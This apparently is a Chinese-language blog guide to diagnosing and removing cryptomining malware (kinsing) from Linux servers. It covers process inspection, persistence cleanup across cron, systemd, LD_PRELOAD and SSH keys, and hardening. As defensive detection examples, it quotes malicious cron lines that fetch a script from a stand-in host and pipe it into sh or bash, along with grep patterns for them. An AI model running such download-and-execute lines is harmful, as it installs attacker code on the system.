Linux服务器CPU爆满排查:挖矿木马定位与清除实战指南

📅 2026/7/4 11:30:08
Linux服务器CPU爆满排查:挖矿木马定位与清除实战指南
1. 项目概述当服务器CPU突然“发烧”如果你是一名运维工程师、开发者或者只是管理着一台或多台Linux服务器的技术爱好者那么“服务器CPU使用率100%”这个警报绝对能让你心头一紧。这通常意味着你的服务器正在“带病工作”而最令人头疼的“病根”之一就是挖矿木马。这玩意儿就像一个不请自来的“矿工”悄无声息地潜入你的服务器然后疯狂调用CPU有时甚至是GPU的计算资源去为攻击者挖掘加密货币比如门罗币。你的服务器电费在飙升性能却断崖式下跌业务响应慢如蜗牛甚至直接宕机。更糟糕的是它往往只是攻击者入侵后留下的“后手”之一意味着你的系统可能已经门户大开。今天要聊的就是当你的Linux服务器CPU“爆满”时如何像一位经验丰富的“系统医生”一样从现象入手一步步定位、排查并最终干净利落地清除掉这些挖矿木马。我会附上一份完整的命令清单你可以直接复制粘贴跟着操作。整个过程我们不仅要“杀掉”进程更要揪出它的“老巢”持久化手段并思考如何加固防线防止它卷土重来。2. 核心排查思路与流程拆解面对CPU爆满切忌慌乱地直接重启服务器。重启可能暂时清空进程但木马的持久化机制如定时任务、系统服务会在几分钟内让它“死灰复燃”。科学的排查应该遵循一个清晰的流程确认症状 - 定位异常进程 - 分析进程关联 - 清除恶意文件与配置 - 溯源与加固。2.1 为什么不能直接kill进程了事很多新手的第一反应是找到最耗CPU的进程然后kill -9结束它。这招有时管用但大多数高级挖矿木马都配备了“进程守护”或“定时复活”机制。你杀掉的只是一个“工人”而“监工”守护进程或定时任务还在它会立刻启动一个新的“工人”。因此我们的目标不是杀死一个进程而是摧毁整个恶意软件的执行链和持久化据点。2.2 标准排查流程全景图一个高效的排查流程应该是自上而下、由表及里的全局监控与初步定位使用top,htop,nmon等工具快速看清系统全貌找出CPU消耗异常的进程。进程深度剖析对可疑进程追查其执行路径、父进程、打开的文件、网络连接等绘制其行为图谱。揪出持久化钩子检查系统启动项、定时任务、系统服务、动态链接库劫持等找到木马赖以“复活”的根源。清理与验证安全地停止进程、删除恶意文件、修复被篡改的配置。清理后再次验证确保无残留。漏洞溯源与加固分析入侵途径如弱密码、未修复的漏洞并采取加固措施。接下来我们就按照这个流程手把手操作。3. 实战排查从定位到分析现在我们登录到那台CPU告警的服务器开始实战。3.1 第一步快速定位异常进程首先我们需要一个全局视角。打开终端输入最经典的命令top按下数字1可以展开显示所有CPU核心的单独使用情况这对于判断是单核跑满还是所有核心均被占用很有帮助。通常挖矿木马会尽力榨干所有核心。更直观的工具是htop如果系统未安装可通过yum install htop或apt install htop安装htophtop提供了彩色界面、树状视图和更方便的筛选排序。重点关注%CPU列排序查看持续接近100%的进程极其可疑。COMMAND列观察进程名。挖矿进程名往往经过伪装可能看起来像kworker,java,php-fpm等正常进程但路径异常。例如一个名为java的进程其命令路径可能是/tmp/.X11-unix/java这种临时目录这就很可疑。实操心得如果htop中发现某个进程的%CPU长期居高不下且其USER是非 root 的普通用户如www-data,nginx,redis这通常意味着该用户的应用被入侵是很好的排查起点。如果发现进程名特别奇怪或者瞬间消失又出现可能是进程在不停重启。这时可以用一个快速命令抓拍ps aux --sort-%cpu | head -20这个命令能列出当前CPU使用率最高的前20个进程。假设我们通过htop发现一个名为kinsing的进程占用了 99% 的 CPU这就是一个非常典型的挖矿木马进程名。3.2 第二步深度剖析可疑进程找到可疑进程假设PID为12345进程名为kinsing后不要急着杀先把它查个底朝天。1. 查看进程的详细信息与执行路径# 查看进程的详细信息包括启动命令的完整路径 ps -fp 12345 # 或者更直接地查看进程启动命令 cat /proc/12345/cmdline | xargs -0 echo/proc/[PID]/cmdline文件包含了进程的完整启动命令这是识别恶意文件位置的关键。2. 查看进程打开的文件与网络连接# 使用 lsof 查看进程打开的所有文件、库、网络连接 lsof -p 12345这个命令输出会很多重点关注正在执行的二进制文件/tmp/kinsing。加载的异常动态链接库.so文件。网络连接ESTABLISHED看它连接到了哪个外部IP和端口这可能是它的矿池或C2命令与控制服务器。3. 查看进程的网络连接更清晰# 使用 netstat 或 ss 查看该进程的网络连接 ss -tunap | grep 12345 # 或者 netstat -tunap | grep 12345这里你可能会看到类似185.243.112.123:443或pool.minexmr.com:4444这样的连接。记下这些IP和端口它们是重要的威胁情报。4. 追踪进程的父进程与家族树# 查看父进程PID (PPID) ps -o ppid -p 12345 # 使用 pstree 以树形结构查看进程关系非常直观 pstree -aps 12345通过pstree你可能会发现这个挖矿进程是由一个Shell脚本如/tmp/.x/kinsing.sh启动的而这个脚本又可能来自某个定时任务crond或某个被攻陷的Web服务如php-fpm。注意事项有些高级木马会通过fork或exec快速切换进程甚至直接劫持ps,top等命令通过替换$PATH中的二进制文件或加载恶意的LD_PRELOAD库让你看到假信息。如果感觉系统命令输出异常可以使用静态编译的、可信的工具如busybox来检查或者从另一台干净机器上传top、ps的静态二进制版本进行检查。4. 清除操作斩草除根分析完毕后我们已经掌握了恶意进程PID 12345、其二进制文件位置假设是/tmp/.X11-unix/kinsing以及可能的网络连接。现在开始清理。4.1 安全地停止恶意进程直接kill可能触发守护机制。一个更稳妥的方法是先限制它再停止。# 1. 首先降低进程的CPU调度优先级让它“跑不动”为清理争取时间 renice -n 19 -p 12345 # 2. 如果可能用防火墙规则阻断它的出站连接假设发现它连接 185.243.112.123 iptables -A OUTPUT -d 185.243.112.123 -j DROP # 或者更狠一点只允许该进程所属用户访问特定矿池端口需先知道端口 # iptables -A OUTPUT -p tcp -m owner --uid-owner malicious_user --dport 4444 -j DROP # 3. 停止进程 kill -STOP 12345 # 先暂停进程 kill -9 12345 # 再强制终止使用renice和kill -STOP可以避免在清理过程中进程继续作恶或触发某些保护逻辑。4.2 定位并删除恶意文件根据之前ps或lsof找到的路径删除恶意二进制文件和相关组件。# 删除主二进制文件注意路径可能不同 rm -f /tmp/.X11-unix/kinsing rm -f /tmp/kinsing rm -f /dev/shm/kinsing # 查找并删除可能存在的其他相关文件 find /tmp -name *kinsing* -type f -exec rm -fv {} \; find /dev/shm -name *kinsing* -type f -exec rm -fv {} \; find /var/tmp -name *kinsing* -type f -exec rm -fv {} \; # 注意/tmp, /dev/shm, /var/tmp 是木马常用的藏身之处重要警告在rm -rf前务必再次确认路径。可以先用ls -la /path/to/file查看文件属性或者先cp /path/to/file /tmp/malware_backup备份一份以供后续分析。误删系统关键文件会导致服务器瘫痪。4.3 清除持久化机制关键步骤这是防止“死灰复燃”的核心。挖矿木马常见的持久化方式有几种1. 定时任务Cron Jobs这是最最常见的方式。木马会往/var/spool/cron/目录下对应用户的cron文件或者/etc/cron.d/、/etc/cron.hourly/等目录里写入定时任务。# 检查系统所有定时任务 crontab -l # 查看当前用户的 crontab -l -u root # 查看root的 crontab -l -u www-data # 查看其他用户的如www-data # 重点检查以下目录查看是否有可疑的脚本文件 ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ ls -la /etc/cron.daily/ cat /var/spool/cron/crontabs/root 2/dev/null # 查找所有cron文件中包含 curl、wget、sh等下载执行命令的条目 grep -r curl\|wget\|sh -c /etc/cron* /var/spool/cron/crontabs/ 2/dev/null | grep -v ^#如果发现类似*/10 * * * * curl -s http://malicious.site/x.sh | sh或*/15 * * * * wget -q -O- http://185.243.112.123/b.sh | bash的任务这就是复活脚本。直接编辑对应的crontab文件删除该行或者使用crontab -e删除。2. 系统服务Systemd Services有些木马会注册为系统服务实现开机自启。# 检查是否有可疑的服务 systemctl list-unit-files --typeservice | grep -i enabled # 查看所有服务状态寻找名称奇怪或描述空白的服务 systemctl list-units --typeservice --all # 如果发现可疑服务名如 kinsing.service查看其详情并停止禁用 systemctl status kinsing.service systemctl stop kinsing.service systemctl disable kinsing.service rm -f /etc/systemd/system/kinsing.service rm -f /usr/lib/systemd/system/kinsing.service systemctl daemon-reload3. 启动脚本rc.local, profile.d等检查/etc/rc.local、/etc/profile.d/、/etc/bashrc、用户家目录的.bashrc或.profile文件看是否被插入了恶意命令。grep -l curl\|wget\|kinsing\|mine /etc/rc.local /etc/profile.d/* /home/*/.bashrc /home/*/.profile 2/dev/null4. 动态链接库劫持LD_PRELOAD通过环境变量LD_PRELOAD注入恶意so库劫持系统函数调用。# 检查系统级配置 cat /etc/ld.so.preload 2/dev/null # 检查环境变量 env | grep -i ld_preload # 检查常见配置文件是否被修改 grep -r LD_PRELOAD /etc/environment /etc/profile.d/ 2/dev/null如果发现异常的.so文件如/usr/local/lib/libkinsing.so同样需要删除并清理配置。4.4 检查与清理其他常见藏匿点授权密钥检查~/.ssh/authorized_keys是否被添加了攻击者的公钥。cat ~/.ssh/authorized_keys cat /home/*/.ssh/authorized_keys内核模块极少数高级木马会加载恶意内核模块。lsmod | grep -vE ^Module|^ipv6|^bridge|^nf_conntrack # 过滤常见模块查看可疑的进程内存执行有些木马不落地直接写在内存中。重启服务器可以清除但务必在重启前完成上述持久化清理否则重启后还会被拉起来。5. 完整命令清单与速查表为了方便实战我将关键命令整理成表你可以像查手册一样使用。步骤命令作用说明关键输出/关注点1. 全局监控top(按1)查看CPU整体使用及进程列表%CPU列异常高的进程名htop更直观的进程监控工具树状视图彩色高亮ps aux --sort-%cpu | head -20快速抓取CPU使用Top 20进程前几名进程的USER,%CPU,COMMAND2. 进程剖析ps -fp PID查看指定进程详情CMD完整路径cat /proc/PID/cmdline | xargs -0 echo查看进程启动命令可执行文件绝对路径lsof -p PID查看进程打开的文件/网络二进制文件路径、网络连接、加载的.so库ss -tunap | grep PID查看进程网络连接外部IP:PORT (矿池/C2)pstree -aps PID查看进程家族树父进程、祖先进程找到源头3. 进程处理renice -n 19 -p PID降低进程优先级为清理争取时间kill -STOP PID暂停进程安全地冻结它kill -9 PID强制终止进程最后手段4. 文件清理rm -f /path/to/malware删除恶意文件务必确认路径find /tmp /dev/shm /var/tmp -name *kinsing* -delete查找并删除相关文件清理常见临时目录5. 持久化清理crontab -l -u root查看root定时任务寻找curl|wget ... | sh类任务grep -r curl|wget /etc/cron* /var/spool/cron/搜索所有cron中的下载命令定位复活脚本systemctl list-units --typeservice --all列出所有系统服务寻找名称奇怪、描述空的服务systemctl disable --now service_name停止并禁用恶意服务需结合rm删除服务文件cat /etc/ld.so.preload检查预加载库配置应为空或只有可信库cat ~/.ssh/authorized_keys检查SSH授权密钥删除未知公钥6. 网络封锁iptables -A OUTPUT -d MAL_IP -j DROP防火墙封锁恶意IP阻止外连矿池hostname -I查看本机IP用于后续漏洞扫描7. 事后检查lastb | head -20查看失败登录记录寻找爆破痕迹grep \Accepted\ /var/log/auth.log查看成功登录记录寻找异常IP登录netstat -antp | grep LISTEN查看监听端口发现后门端口rkhunter --checkRootkit检查需安装扫描隐藏后门提示执行删除 (rm)、停止服务 (systemctl stop)、修改防火墙 (iptables) 等操作时建议先在测试环境或非核心业务机器上验证命令或者使用echo命令先预览要操作的内容如echo rm -f /path/to/file防止误操作。6. 溯源分析与系统加固清理干净后工作只完成了一半。我们必须思考它是怎么进来的如何防止下一次6.1 常见的入侵途径排查弱口令爆破检查认证日志。# 查看近期失败登录Ubuntu/Debian grep \Failed password\ /var/log/auth.log # 查看近期成功登录关注异常时间、IP grep \Accepted password\ /var/log/auth.log # 对于CentOS/RHEL日志可能在 /var/log/secure如果发现大量来自某个IP的失败尝试随后有一次成功登录那很可能就是入口。未授权访问/漏洞利用Redis未授权访问如果服务器运行了Redis且绑定在0.0.0.0又没设密码攻击者可以直接写入计划任务。ps aux | grep redis netstat -tunlp | grep 6379Docker API暴露2375端口暴露在公网。Web应用漏洞如ThinkPHP、Confluence、Weblogic等框架的已知漏洞。检查Web日志 (/var/log/nginx/access.log,/var/log/apache2/access.log) 是否有奇怪的POST请求或大量扫描痕迹。软件未及时更新运行yum check-update或apt list --upgradable查看可更新包。供应链攻击/恶意镜像如果你使用了Docker检查是否从不可信源拉取了镜像。docker ps查看运行容器docker images查看镜像。6.2 基础加固建议SSH加固禁用root密码登录PermitRootLogin no改用密钥登录禁用密码PasswordAuthentication no修改默认端口22。使用Fail2ban工具自动封锁爆破IP。最小权限原则运行业务的服务如Nginx, PHP, Redis使用非root用户。严格限制/tmp,/dev/shm等目录的执行权限使用noexec挂载选项。定期更新与监控建立操作系统和软件的安全更新流程。部署监控系统如Prometheus Grafana或商业APM对CPU、内存、网络流量、异常进程建立基线告警。入侵检测考虑部署文件完整性监控FIM工具如AIDE监控关键系统文件如/bin,/sbin,/usr/bin的变更。使用日志集中分析平台如ELK Stack收集和分析日志。备份与恢复确保有可用的、干净的系统备份。在确认被入侵后最彻底的方式是从备份恢复并修复漏洞后上线。7. 个人实操心得与避坑指南处理过不少次挖矿木马事件后我总结了几条血泪教训心得一警惕“正常”进程的异常路径。我见过最狡猾的木马把自己命名为kthreadd、kworker/0:0几乎和内核线程一模一样。但用ps -ef一看它的PPID父进程ID是1但路径却是/tmp/.X11-unix/kworker。内核线程的路径通常是[kthreadd]带中括号。这是识别伪装的关键。心得二清理后务必“回头看”。有一次清理完过了半小时CPU又满了。原来木马在/etc/profile.d/下放了一个名为systemd.sh的脚本里面是一串混淆的字符实际内容是下载执行。crontab -l看不到因为它不是cron任务。所以清理后运行pstree和htop再观察10-20分钟同时用find /etc -name \*.sh\ -type f -exec ls -la {} \\;检查所有脚本文件。心得三善用只读工具和外部视角。如果怀疑系统命令被劫持比如ps、top显示不全可以从另一台干净机器上传静态编译的busyboxchmod x busybox然后用./busybox top和./busybox ps来查看。网络层面可以在网关或防火墙上查看服务器的异常外联流量这比在受感染的服务器上查更可靠。心得四漏洞修复比清除木马更重要。我曾帮一个朋友清理了一台服务器一周后又被同样的木马入侵。原因是他的一个内部测试用的Confluence页面暴露在公网并且存在一个未修复的旧漏洞。攻击者通过漏洞上传了Webshell然后植入了挖矿脚本。所以清理后一定要做漏洞扫描可以用Nessus、OpenVAS等开源工具并修复发现的安全问题。最后保持冷静按照流程一步步来。每次安全事件都是一次学习的机会通过复盘入侵路径你对系统安全的理解会更深一层。这份命令清单可以保存下来但它背后的排查思路和“斩草除根”的原则才是应对此类问题最宝贵的工具。